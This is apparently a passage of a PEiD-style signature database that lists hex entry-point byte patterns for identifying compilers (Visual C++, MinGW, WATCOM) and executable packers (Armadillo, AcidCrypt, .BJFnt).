25 00 00 00 00 83 EC 53 56 57 -ep_only = true - -[Microsoft Visual C++ v5.0 DLL] -signature = ?? ?? 24 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? 24 0C ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8D -ep_only = true - -[Microsoft Visual C++ v5.0/v6.0 (MFC)] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 -ep_only = true - -[Microsoft Visual C++ vx.x] -signature = 55 8B EC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 04 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? 83 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[Microsoft Visual C++ vx.x DLL] -signature = ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 00 ?? 00 ?? ?? ?? 00 00 ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? 00 ?? 00 -ep_only = true - -[Microsoft Visual C++ v6.0 SPx] -signature = 55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 8B F0 8A ?? 3C 22 -ep_only = true - -[Microsoft Visual C++ v6.0 SPx] -signature = 55 8B EC 83 EC 44 56 FF 15 ?? ?? ?? ?? 6A 01 8B F0 FF 15 -ep_only = true - -[Microsoft Visual C++ v6.0] -signature = 55 8B EC 6A FF 68 68 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 53 56 57 -ep_only = true - -[Microsoft Visual C++ v6.0 DLL] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 51 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 4D ?? ?? ?? ?? 02 -ep_only = true - -[Microsoft Visual C++ v6.0 DLL] -signature = 83 7C 24 08 01 75 09 8B 44 24 04 A3 ?? ?? 00 10 E8 8B FF FF FF -ep_only = true - -[Microsoft Visual C++ v6.0] -signature = 55 8B EC 83 EC 50 53 56 57 BE ?? ?? ?? ?? 8D 7D F4 A5 A5 66 A5 8B -ep_only = true - -[Microsoft Visual C++ v6.0 DLL] -signature = 55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84 -ep_only = true - -[Microsoft Visual C++ v6.0 DLL] -signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C -ep_only = true - -[Microsoft Visual C++ v6.0] -signature = ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 0D ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1C ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? 00 -ep_only = true - -[Microsoft Visual C++ v6.0 (Debug Version)] -signature = 55 8B EC 51 ?? ?? ?? 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 10 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 -ep_only = true - -[Microsoft Visual C++ v7.0] -signature = 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? 8B C7 E8 ?? ?? ?? ?? 89 65 ?? 8B F4 89 3E 56 FF 15 ?? ?? ?? ?? 8B 4E ?? 89 0D ?? ?? ?? ?? 8B 46 ?? A3 -ep_only = true - -[Microsoft Visual C++ v7.0 DLL] -signature = 55 8D 6C ?? ?? 81 EC ?? ?? ?? ?? 8B 45 ?? 83 F8 01 56 0F 84 ?? ?? ?? ?? 85 C0 0F 84 -ep_only = true - -[Microsoft Visual C++ v7.0 DLL] -signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 -ep_only = true - -[Microsoft Visual C++ v7.1 DLL] -signature = 6A 0C 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 40 89 45 E4 -ep_only = true - -[Microsoft Visual C++ v7.1 DLL] -signature = 83 7C 24 08 01 75 ?? ?? ?? 24 04 50 A3 ?? ?? ?? 50 FF 15 00 10 ?? 50 33 C0 40 C2 0C 00 -ep_only = true - -[Microsoft Visual C++ v7.1 DLL] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 C4 E4 53 56 57 89 65 E8 C7 45 E4 01 00 00 00 C7 45 FC -ep_only = true - -[Microsoft Visual C++ v7.1 DLL] -signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 85 F6 57 8B 7D 10 75 09 83 3D ?? ?? 40 00 00 EB 26 83 FE 01 74 05 83 FE 02 75 22 A1 -ep_only = true - -[Microsoft Visual C++ v7.1 DLL (Debug)] -signature = 55 8B EC ?? ?? 0C 83 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 8B -ep_only = true - -[Microsoft Visual C++ v7.1 EXE] -signature = 6A ?? 68 ?? ?? ?? 01 E8 ?? ?? 00 00 66 81 3D 00 00 00 01 4D 5A 75 ?? A1 3C 00 00 01 ?? ?? 00 00 00 01 -ep_only = true - -[Microsoft Visual C++ v7.1 EXE] -signature = 6A ?? 68 ?? ?? ?? ?? E8 -ep_only = true - -[Microsoft Visual C++ DLL] -signature = 53 55 56 8B 74 24 14 85 F6 57 B8 01 00 00 00 -ep_only = true - -[Microsoft Visual C++ DLL] -signature = 53 56 57 BB 01 ?? ?? ?? 8B ?? 24 14 -ep_only = true - -[Microsoft Visual C++ DLL] -signature = 53 B8 01 00 00 00 8B 5C 24 0C 56 57 85 DB 55 75 12 83 3D ?? ?? ?? ?? ?? 75 09 33 C0 -ep_only = true - -[Microsoft Visual C++ DLL] -signature = 55 8B EC 56 57 BF 01 00 00 00 8B 75 0C -ep_only = true - -[Microsoft Visual C++] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 -ep_only = true - -[Microsoft Visual Basic v5.0] -signature = ?? ?? ?? ?? ?? ?? ?? FF FF FF 00 00 00 00 00 00 30 00 00 00 40 00 00 00 00 00 00 -ep_only = true - -[Microsoft Visual Basic v5.0/v6.0] -signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 00 00 00 00 00 00 30 00 00 00 -ep_only = true - -[Microsoft Visual Basic v6.0 DLL] -signature = 5A 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 52 E9 ?? ?? FF -ep_only = true - -[MinGW GCC v2.x] -signature = 55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45 -ep_only = true - -[MinGW GCC v2.x] -signature = 55 89 E5 ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[MinGW GCC v2.x] -signature = 55 89 E5 E8 ?? ?? ?? ?? C9 C3 ?? ?? 45 58 45 -ep_only = true - -[MinGW GCC DLL v2xx] -signature = 55 89 E5 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? 68 -ep_only = true - -[MinGW v3.2.x (Dll_main)] -signature = 55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 96 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 F4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 3B 02 00 00 E8 C6 01 00 00 E9 75 FF FF FF E8 BC 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 6B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 48 05 00 00 8B 5D FC 89 EC 5D C3 -ep_only = true - -[MinGW v3.2.x (Dll_WinMain)] -signature = 55 89 E5 83 EC 18 89 75 FC 8B 75 0C 89 5D F8 83 FE 01 74 5C 89 74 24 04 8B 55 10 89 54 24 08 8B 55 08 89 14 24 E8 76 01 00 00 83 EC 0C 83 FE 01 89 C3 74 2C 85 F6 75 0C 8B 0D 00 30 00 10 85 C9 75 10 31 DB 89 D8 8B 5D F8 8B 75 FC 89 EC 5D C2 0C 00 E8 59 00 00 00 EB EB 8D B4 26 00 00 00 00 85 C0 75 D0 E8 47 00 00 00 EB C9 90 8D 74 26 00 C7 04 24 80 00 00 00 E8 A4 05 00 00 A3 00 30 00 10 85 C0 74 1A C7 00 00 00 00 00 A3 10 30 00 10 E8 1B 02 00 00 E8 A6 01 00 00 E9 75 FF FF FF E8 6C 05 00 00 C7 00 0C 00 00 00 31 C0 EB 98 89 F6 55 89 E5 83 EC 08 89 5D FC 8B 15 00 30 00 10 85 D2 74 29 8B 1D 10 30 00 10 83 EB 04 39 D3 72 0D 8B 03 85 C0 75 2A 83 EB 04 39 D3 73 F3 89 14 24 E8 1B 05 00 00 31 C0 A3 00 30 00 10 C7 04 24 00 00 00 00 E8 F8 04 00 00 8B 5D FC 89 EC 5D C3 -ep_only = true - -[MinGW v3.2.x (main)] -signature = 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 E4 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 E4 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 00 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 F4 40 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 8D 07 00 00 83 EC 04 E8 85 02 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 02 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 F0 40 40 00 85 C0 74 1F 89 04 24 E8 C3 06 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 C1 06 00 00 -ep_only = true - -[MinGW v3.2.x (WinMain)] -signature = 55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 0C 41 40 00 89 EC 5D C3 8D 76 00 8D BC 27 00 00 00 00 55 89 E5 53 83 EC 24 C7 04 24 A0 11 40 00 E8 5D 08 00 00 83 EC 04 E8 55 03 00 00 C7 04 24 00 20 40 00 8B 15 10 20 40 00 8D 4D F8 C7 45 F8 00 00 00 00 89 4C 24 10 89 54 24 0C 8D 55 F4 89 54 24 08 C7 44 24 04 04 20 40 00 E8 D2 07 00 00 A1 20 20 40 00 85 C0 74 76 A3 30 20 40 00 A1 08 41 40 00 85 C0 74 1F 89 04 24 E8 93 07 00 00 8B 1D 20 20 40 00 89 04 24 89 5C 24 04 E8 91 07 00 00 -ep_only = true - -[MinGW v3.2.x (Dll_mainCRTStartup)] -signature = 55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 00 10 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00 -ep_only = true - -[MinGW v3.2.x (_mainCRTStartup)] -signature = 55 89 E5 83 EC 08 6A 00 6A 00 6A 00 6A 00 E8 0D 00 00 00 B8 00 00 00 00 C9 C3 90 90 90 90 90 90 FF 25 38 20 40 00 90 90 00 00 00 00 00 00 00 00 FF FF FF FF 00 00 00 00 FF FF FF FF 00 00 00 00 00 -ep_only = true - -[Stranik 1.3 Modula/C/Pascal] -signature = E8 ?? ?? FF FF E8 ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 ?? ?? ?? 00 ?? ?? 00 ?? 00 ?? 00 00 ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? 00 ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 ?? ?? 00 ?? ?? ?? ?? ?? ?? 00 ?? ?? 00 ?? ?? ?? 00 00 00 ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 -ep_only = true - -[WATCOM C/C++ 32 Run-Time System 1988-1995] -signature = E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 54 43 4F 4D 20 43 2F 43 2B 2B 33 32 20 52 75 6E 2D 54 -ep_only = true - -[WATCOM C/C++ 32 Run-Time System 1988-1994] -signature = FB 83 ?? ?? 89 E3 89 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? ?? ?? ?? BB ?? ?? ?? ?? 29 C0 B4 30 CD 21 -ep_only = true - -[WATCOM C/C++] -signature = E9 ?? ?? ?? ?? ?? ?? ?? ?? 57 41 -ep_only = true - -[WATCOM C/C++ DLL] -signature = 53 56 57 55 8B 74 24 14 8B 7C 24 18 8B 6C 24 1C 83 FF 03 0F 87 -ep_only = true - -[.BJFnt v1.1b] -signature = EB 01 EA 9C EB 01 EA 53 EB 01 EA 51 EB 01 EA 52 EB 01 EA 56 -ep_only = true - -[.BJFnt v1.2 RC] -signature = EB 02 69 B1 83 EC 04 EB 03 CD 20 EB EB 01 EB 9C EB 01 EB EB -ep_only = true - -[.BJFnt v1.3] -signature = EB 03 3A 4D 3A 1E EB 02 CD 20 9C EB 02 CD 20 EB 02 CD 20 60 -ep_only = true - -[.BJFnt v1.3] -signature = EB ?? 3A ?? ?? 1E EB ?? CD 20 9C EB ?? CD 20 EB ?? CD 20 60 EB -ep_only = true - -[32Lite v0.03a] -signature = 60 06 FC 1E 07 BE ?? ?? ?? ?? 6A 04 68 ?? 10 ?? ?? 68 -ep_only = true - -[AcidCrypt] -signature = 60 B9 ?? ?? ?? 00 BA ?? ?? ?? 00 BE ?? ?? ?? 00 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB -ep_only = true - -[AcidCrypt] -signature = BE ?? ?? ?? ?? 02 38 40 4E 75 FA 8B C2 8A 18 32 DF C0 CB -ep_only = true - -[Alloy v1.x.2000] -signature = 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 07 20 40 ?? 87 DD 6A 04 68 ?? 10 ?? ?? 68 ?? 02 ?? ?? 6A ?? FF 95 46 23 40 ?? 0B -ep_only = true - -[Armadillo v1.60a] -signature = 55 8B EC 6A FF 68 98 71 40 00 68 48 2D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.71] -signature = 55 8B EC 6A FF 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 -ep_only = true - -[Armadillo v1.72 - v1.73] -signature = 55 8B EC 6A FF 68 E8 C1 ?? ?? 68 F4 86 ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 -ep_only = true - -[Armadillo v1.77] -signature = 55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.80] -signature = 55 8B EC 6A FF 68 E8 C1 00 00 68 F4 86 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.82] -signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 74 81 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.83] -signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 64 84 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.84] -signature = 55 8B EC 6A FF 68 E8 C1 40 00 68 F4 86 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.90] -signature = 55 8B EC 6A FF 68 10 F2 40 00 68 64 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.9x] -signature = 55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 -ep_only = true - -[Armadillo v1.90b1] -signature = 55 8B EC 6A FF 68 E0 C1 40 00 68 04 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.90b2] -signature = 55 8B EC 6A FF 68 F0 C1 40 00 68 A4 89 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.90b3] -signature = 55 8B EC 6A FF 68 08 E2 40 00 68 94 95 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.90b4] -signature = 55 8B EC 6A FF 68 08 E2 40 00 68 B4 96 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.90a] -signature = 55 8B EC 64 FF 68 10 F2 40 00 68 14 9B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.90c] -signature = 55 8B EC 6A FF 68 10 F2 40 00 68 74 9D 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v1.xx - v2.xx] -signature = 55 8B EC 53 8B 5D 08 56 8B 75 0C 57 8B 7D 10 85 F6 -ep_only = true - -[Armadillo v2.00] -signature = 55 8B EC 6A FF 68 00 02 41 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v2.00b1] -signature = 55 8B EC 6A FF 68 98 ?? ?? ?? 68 10 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 -ep_only = true - -[Armadillo v2.00b2-2.00b3] -signature = 55 8B EC 6A FF 68 00 F2 40 00 68 C4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v2.01] -signature = 55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v2.10b2] -signature = 55 8B EC 6A FF 68 18 12 41 00 68 24 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true - -[Armadillo v2.20] -signature = 55 8B EC 6A FF 68 10 12 41 00 68 F4 A0 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 -ep_only = true 